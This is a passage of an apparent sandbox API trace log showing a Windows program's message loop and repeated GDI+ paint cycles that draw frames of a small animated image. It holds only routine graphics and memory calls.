Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x0) returned 0x0 [0120.110] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0120.110] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0120.110] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0120.110] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0120.110] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x5201018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0120.110] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0120.111] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5201018a) returned 0x0 [0120.111] SelectObject (hdc=0x5201018a, h=0x185000f) returned 0x1a05067e [0120.111] DeleteDC (hdc=0x5201018a) returned 1 [0120.111] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0120.111] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0120.111] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0120.111] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0120.111] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0120.111] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0120.111] WaitMessage () returned 1 [0120.311] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0120.311] IsWindowUnicode (hWnd=0x2031e) returned 1 [0120.311] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0120.311] TranslateMessage (lpMsg=0x15e910) returned 0 [0120.311] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0120.311] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0120.312] GetCurrentThreadId () returned 0xec0 [0120.312] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0120.312] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0120.312] IsWindowUnicode (hWnd=0x2031e) returned 1 [0120.312] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0120.312] TranslateMessage (lpMsg=0x15e910) returned 0 [0120.312] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0120.312] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0120.312] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0120.312] CreateCompatibleDC (hdc=0x1010b9d) returned 0x5301018a [0120.312] SelectObject (hdc=0x5301018a, h=0x1a05067e) returned 0x185000f [0120.312] GdipCreateFromHDC (hdc=0x5301018a, graphics=0x15daf0) returned 0x0 [0120.312] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0120.312] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0120.313] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0120.313] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0120.313] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0120.313] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a02b0 [0120.313] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a02b0) returned 0x0 [0120.313] LocalFree (hMem=0x1e7a02b0) returned 0x0 [0120.313] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0120.314] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0120.314] GdipCreateRegion (region=0x15dc20) returned 0x0 [0120.314] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0120.314] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0120.314] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0120.314] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0120.314] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0120.314] GetSystemMetrics (nIndex=42) returned 0 [0120.314] CoTaskMemAlloc (cb=0x6) returned 0x1afd3ba0 [0120.314] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3ba0, nMaxCount=1 | out: lpString="") returned 0 [0120.314] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3ba0) returned 0x0 [0120.314] CoTaskMemFree (pv=0x1afd3ba0) [0120.314] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0120.314] GdipCreateRegion (region=0x15d710) returned 0x0 [0120.314] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0120.314] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0120.314] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0120.315] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0120.315] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a02b0 [0120.315] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a02b0) returned 0x0 [0120.315] LocalFree (hMem=0x1e7a02b0) returned 0x0 [0120.315] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0120.315] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a02b0 [0120.315] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a02b0) returned 0x0 [0120.316] LocalFree (hMem=0x1e7a02b0) returned 0x0 [0120.316] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0120.316] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0120.316] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0120.316] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0120.316] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0120.316] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0120.316] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0120.316] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0120.316] GetCurrentObject (hdc=0x5301018a, type=0x1) returned 0x1b00017 [0120.316] GetCurrentObject (hdc=0x5301018a, type=0x2) returned 0x1900010 [0120.316] GetCurrentObject (hdc=0x5301018a, type=0x7) returned 0x1a05067e [0120.316] GetCurrentObject (hdc=0x5301018a, type=0x6) returned 0x18a002e [0120.316] SaveDC (hdc=0x5301018a) returned 1 [0120.317] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x600407c3 [0120.317] GetClipRgn (hdc=0x5301018a, hrgn=0x600407c3) returned 0 [0120.317] SelectClipRgn (hdc=0x5301018a, hrgn=0x30040b8a) returned 2 [0120.317] DeleteObject (ho=0x600407c3) returned 1 [0120.317] DeleteObject (ho=0x30040b8a) returned 1 [0120.317] OffsetViewportOrgEx (in: hdc=0x5301018a, x=0, y=0, lppt=0x2749410 | out: lppt=0x2749410) returned 1 [0120.317] GetNearestColor (hdc=0x5301018a, color=0xffffff) returned 0xffffff [0120.317] CreateSolidBrush (color=0xffffff) returned 0x38100190 [0120.317] FillRect (hDC=0x5301018a, lprc=0x15d7c0, hbr=0x38100190) returned 1 [0120.317] DeleteObject (ho=0x38100190) returned 1 [0120.317] RestoreDC (hdc=0x5301018a, nSavedDC=-1) returned 1 [0120.317] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0120.317] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5301018a) returned 0x0 [0120.317] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd760dbd) returned 0x0 [0120.317] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0120.318] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0120.318] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0120.318] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0120.318] GetSystemMetrics (nIndex=42) returned 0 [0120.318] CoTaskMemAlloc (cb=0x6) returned 0x1afd3ba0 [0120.318] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3ba0, nMaxCount=1 | out: lpString="") returned 0 [0120.318] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3ba0) returned 0x0 [0120.318] CoTaskMemFree (pv=0x1afd3ba0) [0120.318] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0120.318] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0120.318] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0120.318] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0120.318] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x5301018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0120.318] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0120.318] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5301018a) returned 0x0 [0120.319] SelectObject (hdc=0x5301018a, h=0x185000f) returned 0x1a05067e [0120.319] DeleteDC (hdc=0x5301018a) returned 1 [0120.319] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0120.319] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0120.319] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0120.319] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0120.319] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0120.319] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0120.319] WaitMessage () returned 1 [0120.511] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0120.511] IsWindowUnicode (hWnd=0x2031e) returned 1 [0120.511] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0120.511] TranslateMessage (lpMsg=0x15e910) returned 0 [0120.511] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0120.511] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0120.512] GetCurrentThreadId () returned 0xec0 [0120.512] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0120.512] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0120.512] IsWindowUnicode (hWnd=0x2031e) returned 1 [0120.512] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0120.512] TranslateMessage (lpMsg=0x15e910) returned 0 [0120.512] DispatchMessageW (lpMsg=0x15e910) returned 0xc000 [0120.512] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0120.512] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0120.512] CreateCompatibleDC (hdc=0x1010b9d) returned 0x5401018a [0120.512] SelectObject (hdc=0x5401018a, h=0x1a05067e) returned 0x185000f [0120.512] GdipCreateFromHDC (hdc=0x5401018a, graphics=0x15daf0) returned 0x0 [0120.512] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0120.512] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0120.513] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0120.513] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0120.513] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0120.513] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a02b0 [0120.513] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a02b0) returned 0x0 [0120.513] LocalFree (hMem=0x1e7a02b0) returned 0x0 [0120.514] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0120.514] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0120.514] GdipCreateRegion (region=0x15dc20) returned 0x0 [0120.514] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0120.514] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0120.514] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0120.514] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0120.514] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0120.514] GetSystemMetrics (nIndex=42) returned 0 [0120.514] CoTaskMemAlloc (cb=0x6) returned 0x1afd3e70 [0120.514] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3e70, nMaxCount=1 | out: lpString="") returned 0 [0120.515] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3e70) returned 0x0 [0120.515] CoTaskMemFree (pv=0x1afd3e70) [0120.515] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0120.515] GdipCreateRegion (region=0x15d710) returned 0x0 [0120.515] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0120.515] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0120.515] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0120.515] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0120.515] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a02b0 [0120.515] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a02b0) returned 0x0 [0120.516] LocalFree (hMem=0x1e7a02b0) returned 0x0 [0120.516] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0120.516] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a02b0 [0120.516] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a02b0) returned 0x0 [0120.516] LocalFree (hMem=0x1e7a02b0) returned 0x0 [0120.516] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0120.516] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0120.516] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0120.516] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0120.516] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0120.517] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0120.517] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0120.517] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0120.517] GetCurrentObject (hdc=0x5401018a, type=0x1) returned 0x1b00017 [0120.517] GetCurrentObject (hdc=0x5401018a, type=0x2) returned 0x1900010 [0120.517] GetCurrentObject (hdc=0x5401018a, type=0x7) returned 0x1a05067e [0120.517] GetCurrentObject (hdc=0x5401018a, type=0x6) returned 0x18a002e [0120.517] SaveDC (hdc=0x5401018a) returned 1 [0120.517] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x31040b8a [0120.517] GetClipRgn (hdc=0x5401018a, hrgn=0x31040b8a) returned 0 [0120.517] SelectClipRgn (hdc=0x5401018a, hrgn=0x610407c3) returned 2 [0120.517] DeleteObject (ho=0x31040b8a) returned 1 [0120.517] DeleteObject (ho=0x610407c3) returned 1 [0120.517] OffsetViewportOrgEx (in: hdc=0x5401018a, x=0, y=0, lppt=0x274da68 | out: lppt=0x274da68) returned 1 [0120.517] GetNearestColor (hdc=0x5401018a, color=0xffffff) returned 0xffffff [0120.518] CreateSolidBrush (color=0xffffff) returned 0x39100190 [0120.518] FillRect (hDC=0x5401018a, lprc=0x15d7c0, hbr=0x39100190) returned 1 [0120.518] DeleteObject (ho=0x39100190) returned 1 [0120.518] RestoreDC (hdc=0x5401018a, nSavedDC=-1) returned 1 [0120.518] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0120.518] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5401018a) returned 0x0 [0120.518] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd740dbd) returned 0x0 [0120.518] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0120.518] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0120.519] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0120.519] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0120.519] GetSystemMetrics (nIndex=42) returned 0 [0120.519] CoTaskMemAlloc (cb=0x6) returned 0x1afd3e70 [0120.519] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3e70, nMaxCount=1 | out: lpString="") returned 0 [0120.519] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3e70) returned 0x0 [0120.519] CoTaskMemFree (pv=0x1afd3e70) [0120.519] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x2) returned 0x0 [0120.521] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0120.521] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0120.521] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0120.521] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0120.521] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x5401018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0120.521] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0120.521] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5401018a) returned 0x0 [0120.522] SelectObject (hdc=0x5401018a, h=0x185000f) returned 0x1a05067e [0120.522] DeleteDC (hdc=0x5401018a) returned 1 [0120.522] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0120.522] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0120.522] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0120.522] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0120.522] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0120.522] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0120.522] WaitMessage () returned 1 [0121.201] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0121.201] IsWindowUnicode (hWnd=0x2031e) returned 1 [0121.201] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0121.201] TranslateMessage (lpMsg=0x15e910) returned 0 [0121.201] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0121.202] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0121.202] GetCurrentThreadId () returned 0xec0 [0121.202] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0121.202] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0121.202] IsWindowUnicode (hWnd=0x2031e) returned 1 [0121.202] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0121.202] TranslateMessage (lpMsg=0x15e910) returned 0 [0121.202] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0121.202] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0121.203] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0121.203] CreateCompatibleDC (hdc=0x1010b9d) returned 0x5501018a [0121.203] SelectObject (hdc=0x5501018a, h=0x1a05067e) returned 0x185000f [0121.203] GdipCreateFromHDC (hdc=0x5501018a, graphics=0x15daf0) returned 0x0 [0121.203] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0121.203] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0121.203] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0121.203] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0121.204] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0121.204] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a02b0 [0121.204] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a02b0) returned 0x0 [0121.204] LocalFree (hMem=0x1e7a02b0) returned 0x0 [0121.205] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0121.205] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0121.205] GdipCreateRegion (region=0x15dc20) returned 0x0 [0121.205] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0121.205] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0121.205] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0121.205] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0121.205] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0121.205] GetSystemMetrics (nIndex=42) returned 0 [0121.205] CoTaskMemAlloc (cb=0x6) returned 0x1afd3e80 [0121.205] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3e80, nMaxCount=1 | out: lpString="") returned 0 [0121.205] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3e80) returned 0x0 [0121.205] CoTaskMemFree (pv=0x1afd3e80) [0121.205] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0121.205] GdipCreateRegion (region=0x15d710) returned 0x0 [0121.206] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0121.206] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0121.206] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0121.206] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0121.206] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a02b0 [0121.206] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a02b0) returned 0x0 [0121.206] LocalFree (hMem=0x1e7a02b0) returned 0x0 [0121.206] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0121.206] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a02b0 [0121.206] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a02b0) returned 0x0 [0121.207] LocalFree (hMem=0x1e7a02b0) returned 0x0 [0121.207] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0121.207] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0121.207] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0121.207] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0121.207] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0121.207] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0121.207] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0121.207] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0121.207] GetCurrentObject (hdc=0x5501018a, type=0x1) returned 0x1b00017 [0121.207] GetCurrentObject (hdc=0x5501018a, type=0x2) returned 0x1900010 [0121.208] GetCurrentObject (hdc=0x5501018a, type=0x7) returned 0x1a05067e [0121.208] GetCurrentObject (hdc=0x5501018a, type=0x6) returned 0x18a002e [0121.208] SaveDC (hdc=0x5501018a) returned 1 [0121.208] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x620407c3 [0121.208] GetClipRgn (hdc=0x5501018a, hrgn=0x620407c3) returned 0 [0121.208] SelectClipRgn (hdc=0x5501018a, hrgn=0x32040b8a) returned 2 [0121.208] DeleteObject (ho=0x620407c3) returned 1 [0121.208] DeleteObject (ho=0x32040b8a) returned 1 [0121.208] OffsetViewportOrgEx (in: hdc=0x5501018a, x=0, y=0, lppt=0x2750970 | out: lppt=0x2750970) returned 1 [0121.208] GetNearestColor (hdc=0x5501018a, color=0xffffff) returned 0xffffff [0121.208] CreateSolidBrush (color=0xffffff) returned 0x3a100190 [0121.208] FillRect (hDC=0x5501018a, lprc=0x15d7c0, hbr=0x3a100190) returned 1 [0121.209] DeleteObject (ho=0x3a100190) returned 1 [0121.209] RestoreDC (hdc=0x5501018a, nSavedDC=-1) returned 1 [0121.209] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0121.209] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5501018a) returned 0x0 [0121.209] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd720dbd) returned 0x0 [0121.209] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0121.209] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0121.209] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0121.209] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0121.210] GetSystemMetrics (nIndex=42) returned 0 [0121.210] CoTaskMemAlloc (cb=0x6) returned 0x1afd3e80 [0121.210] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3e80, nMaxCount=1 | out: lpString="") returned 0 [0121.210] CallWindowProcW 